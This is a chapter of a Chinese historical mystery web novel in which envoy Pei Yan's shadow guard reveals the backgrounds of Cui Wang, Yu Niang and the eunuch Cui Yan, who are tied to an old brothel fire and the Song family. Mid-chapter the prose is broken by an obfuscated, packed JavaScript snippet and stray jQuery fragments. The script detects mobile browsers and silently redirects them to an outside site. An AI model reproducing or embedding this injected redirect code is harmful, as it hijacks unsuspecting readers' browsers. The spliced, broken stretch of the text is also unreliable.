酉时未过，天色便已暗沉下来。


    裴宴坐在宽大的紫檀木书案后，面前摊着一幅江南水陆舆图，上面用朱笔圈出了数个地点：归平县码头、水月庵、柳枝巷、还有几条纵横交错的漕运水道。


    他手里握着一支狼毫笔，笔尖悬在舆图上方，久久未落。


    窗外传来风声，卷着几片枯黄的梧桐叶拍打在窗棂上，发出簌簌的声响。更深露重，寒意顺着窗缝丝丝渗入，书房内清冷无比，灯光映衬下裴宴俊逸的脸显得温润了不少，门被轻轻叩响。


    “进来。”裴宴没有抬头。


    长风推门而入，身后跟着一名身着夜行衣的男子。那男子约莫三十岁年纪，面容普通，属于扔进人堆里就找不出来的那种，唯有一双眼睛格外锐利，在烛光下闪着精光。


    “郎主，无痕回来了。”长风低声禀报。


    无痕和飞雁是裴宴的暗卫。


    裴宴这才抬起眼，目光落在无痕身上：“如何？”


    无痕单膝跪地，声音平稳：“禀郎主，崔旺的身份已查明。”


    “说。”


    “崔旺，原名崔文康，祖籍滁州。其父崔守义曾任滁州府户房书吏，后因牵扯一桩钱粮亏空案被革职查办，家道中落。崔旺八岁时父母双亡，被远房堂叔崔琰收留。”暗探语速不快，字字清晰，“崔琰其时已在宫中当差，虽只是个小太监，但颇得当时还是才人的宋贵妃赏识。”


    裴宴眼神微凝：“接着说。”


    “崔旺在崔琰京中宅邸长到十四岁，后被送入宋家在京郊的一处田庄做管事学徒。十八岁时，崔琰已升任内侍省都知，将崔旺调回身边，改名崔旺，对外称是远房侄儿，实为心腹。”无痕从怀中取出一卷誊抄的户籍文书，双手呈上，“这是属下从滁州府旧档中抄录的崔氏宗谱片段，还有宋家田庄二十年前的仆役名册。”


    长风接过文书，摊开在裴宴面前。


    烛光下，泛黄的纸页上字迹潦草，但关键信息清晰可见：崔守义，滁州府户房书吏，景和三年因案革职；其子崔文康，时年八岁，父母双亡后由叔父崔琰收养。


    另一页是宋家田庄的仆役名册，在“景和六年新进仆役”一栏中，赫然写着“崔文康，年十四，滁州人，荐者：崔公公”。


    “崔琰与戴明书有何关联？”裴宴手指轻叩桌案。


    无痕略一沉吟：“属下走访了崔琰老家几位年长者。据他们回忆，崔家原本也是书香门第，崔琰的祖父曾中过举人，在地方上颇有声望。但到了崔琰父亲这一代，家道开始中落。崔琰少时曾随父进京访友，在京城住过一段时日。”


    他顿了顿，压低声音：“其中一位老者说，崔琰年轻时心高气傲，一心想重振家声。但有一次在京中诗会上，因出身寒微遭人嘲笑，当中羞辱他最甚的，便是忠勤伯府的戴明书。此事对崔琰刺激颇深，据说他离京回乡后闭门不出数月，再后来……就进宫了。”


    书房内一时寂静，只有烛火偶尔爆开的细微噼啪声。


    裴宴目光深邃。一个因家道中落、遭人羞辱的少年，怀恨在心，后来得势，设计报复——这动机确实合理。


    “宋家在这其中扮演什么角色？”他问。


    无痕道：“崔琰入宫后，最初并不起眼。直到景和六年，宋才人晋封嫔位，崔琰被调到她宫中伺候。宋嫔。也就是后来的宋贵妃。看出崔琰机敏能干，开始提拔他。崔琰也确实不负所望，办事稳妥，逐渐成为宋贵妃的心腹。”


    “而宋家，”无痕声音更低了，“与忠勤伯府素有嫌隙。忠勤伯虽爵位不高，但在朝中根基颇深，且与宋家的政敌走得近。戴明书作为忠勤伯嫡长子，若出事，对忠勤伯府是沉重打击。”


    裴宴嘴角勾起一抹冷笑：“所以，崔琰要报仇，宋家要打击政敌，双方一拍即合。戴明书就这样成了牺牲品。”


    “大人明鉴。”无痕垂首。


    “那么玉娘呢？”裴宴追问，“崔旺与她，又是什么关系？”


    无痕从怀中又取出一份文书：“这是属下从滁州府另一卷旧档中发现的。崔守义家与邻户罗家交好，两家曾为子女定下婚约——崔守义之女崔秀娥，许配给罗家长子罗明轩。”


    裴宴眉头微挑：“崔旺的姐姐？”


    “正是。”无痕点头，“但崔秀娥在十三岁时染病夭折，婚约自然作废。后来罗家也遭变故，罗明轩的父亲因一桩官司被牵连入狱，家产充公。罗家男子发配，罗家女眷被发卖，其中就包括罗明轩的幼妹，当时年方八岁，名唤罗玉儿。”


    烛火摇曳，将裴宴的影子投在墙上，拉得很长。


    “罗玉儿被卖入翠玉楼，成了后来的玉娘。而崔旺，在得知罗家遭难后，曾多方打听罗玉儿下落。”暗探继续说，“但当时他才入了崔府，人微言轻，直到数年后在崔琰身边站稳脚跟，才重新开始寻找。”


    “他找到了？”


    “找到了。”无痕肯定道，“景和九年，也就是翠玉楼大火前一年，崔旺通过崔琰的关系，查到罗玉儿在翠玉楼。但他没有立即相认，而是暗中观察。这期间，罗玉儿已成了水娘的贴身丫鬟。”


    裴宴站起身，踱到窗前。夜色浓重，远处的菰城灯火零星，更夫打更的梆子声隐约传来，已是亥时。


    他转过身，烛光在他脸上投下明明灭灭的光影：“所以，景和十年腊月二十三那晚，崔旺很可能也参与了。”


    “极有可能。”无痕分析道，“崔琰要杀戴明书，需要翠玉楼内部有人配合。水娘不愿接戴明书这个客人，正好可以利用。而玉娘作为水娘贴身丫鬟，若答应相助，不仅能报仇。戴明书折磨女子手段残忍，玉娘在翠玉楼想必也听说过。还能借此脱离苦海，与崔旺团聚。”


    裴宴走回书案前，手指在舆图上那个标着“水月庵”的红圈上轻轻一点：“水娘李代桃僵，用傻丫鬟随儿替死，自己扮作随儿逃脱。而玉娘，则被那个宋兄，很可能是宋家派来善后的人接走。”


    他抬眼看向暗探：“那个宋兄的身份，有线索吗？”


    无痕面露难色：“时间久远，且当时在场之人非死即散，难以查证。但属下推测，此人必是宋家核心人物，否则无法调动资源接应玉娘，并将她安然送到崔旺身边。”


    裴宴沉默片刻，忽然问：“崔旺当时是否在场？”


    “属下尚未查到。”


    “他与玉娘，是何时成亲的？”


    “景和十一年春，也就是大火后三个月。”无痕答道，“崔旺以远房表妹的身份，将玉娘接回宅中。半年后正式成亲，对外称玉娘是小户良家女，因父母双亡来投奔。还有一点，崔旺曾成过亲，育有一女，只不过前妻据说一年前亡故。”


    “真巧。时间对得上。”裴宴冷笑，“一场大火，死了二十三个人，却成全了两对有情人。崔琰报了仇，崔旺找回了青梅竹马。好算计。”


    长风在一旁忍不住插话：“郎主，那水娘……如今的水仙姑，她在这其中又得到了什么？总不会白白冒险吧？”


    裴宴重新坐下，端起早已凉透的茶盏，抿了一口：“水娘，或许我们提审了她才能完全了解当时的情形。不过水娘一个青楼女子，即便红极一时，终究是玩物。借这场大火，她不但可以摆脱娼籍，还能改头换面，何乐而不为。至于她后来为何会成为水月庵住持，又为何与王大官人勾结贩卖人口……”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355330|197528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    他放下茶盏，眼中寒光一闪：“那恐怕就是另一桩交易了。”


    书房内再次陷入沉默。炭火在铜盆里静静燃烧，偶尔爆出几点火星。


    无痕跪在地上，等待下一步指令。


    良久，裴宴才缓缓开口：“你下去吧。这些消息，不得外传。”


    “属下明白。”无痕起身，躬身退出书房。


    门轻轻合上。长风走到裴宴身边，低声道：“郎主，如今崔旺和玉娘，也就是崔娘子的身份已经明朗。他们与崔琰、宋家关系密切，又与翠玉楼大火有牵连。那水仙姑更是关键人物，她知道戴明书之死的全部真相。”


    裴宴没有立刻回应。他重新看向舆图，目光在几个红圈之间移动。


    水月庵、柳枝巷、归平县码头、漕运水道……这些点看似分散，实则被一条看不见的线串联着。线的一端是十年前京城的翠玉楼大火，另一端是如今江南的人口贩卖和漕运贪腐。


    而握着这条线的人，很可能就是宋家。


    “崔琰如今在江南经营多年，掌漕运之利，与地方官员勾结，已成尾大不掉之势。”裴宴声音低沉，“陛下派我来，明为赈灾，实为查案。如今看来，这案子牵扯无数朝中大臣，上回陛下就有所顾虑，陛下……也难。”


    长风担忧道：“郎主，若真牵扯到宋家……宋贵妃在宫中圣眷正隆，宋国公在朝中势力庞大。咱们……”


    “怕了？”裴宴抬眼看他。


    长风挺直腰板：“小的不怕！小的只是担心郎主安危。江南天高皇帝远，若他们狗急跳墙……”


    “他们不敢。”裴宴打断他，语气平静却带着不容置疑的威严，“至少现在不敢。我是钦差，奉皇命而来，若在江南出事，朝廷必会彻查。宋家再大胆，也不敢明目张胆地对钦差下手。”


    他顿了顿，眼中闪过锐利的光：“但他们会在暗中使绊子，会阻挠查案，甚至会……灭口。”


    “灭口？”长风一惊。


    “水仙姑。”裴宴缓缓吐出这三个字，“她是戴明书之死的直接参与者，知道太多秘密。若我们继续查下去，宋家和崔琰第一个要除掉的就是她。”


    长风倒吸一口凉气：“那咱们得赶紧……”


    “不急。”裴宴摆摆手，“水仙姑也不是省油的灯。她能从十年前那场大火中逃脱，能在水月庵站稳脚跟，还能与王大官人勾结做略卖人口的勾当——这样的女人，不会坐以待毙。”


    他手指在舆图上轻轻划过：“我们现在要做的，是找到确凿证据。崔旺和玉娘的身份虽然已经确认，但要定崔琰的罪，还需要更直接的人证和物证。”


    “郎主的意思是……”


    “双管齐下。”裴宴站起身，走到书架前，取出一卷空白奏折，“一方面，继续盯紧崔娘子和水仙姑，她们之间必有联络。另一方面，从漕运账目入手，崔琰在江南这些年，贪墨的银两绝不会少，这些钱流向何处，就是突破口。”


    他开始研墨，动作沉稳有力：“秦海和张超那边，应该快有消息了。等他们回来，我要知道那个‘宋兄’到底是谁。”


    长风肃然：“小的明白。


    窗外夜色更深了。秋风呼啸而过，卷起满庭落叶。远处传来隐约的更鼓声，已是亥时三刻。


    裴宴写完最后一笔，将奏折合上，用火漆封好。这是呈给皇帝的密折，详细禀报了江南漕运案的初步调查结果，以及崔琰与宋家可能的关联。他没有提及翠玉楼旧案——时机未到，证据不足。


    “明日一早，让人八百里加急，送往京城。”他将密折递给长风。


    “是。”长风双手接过，小心翼翼地收入怀中。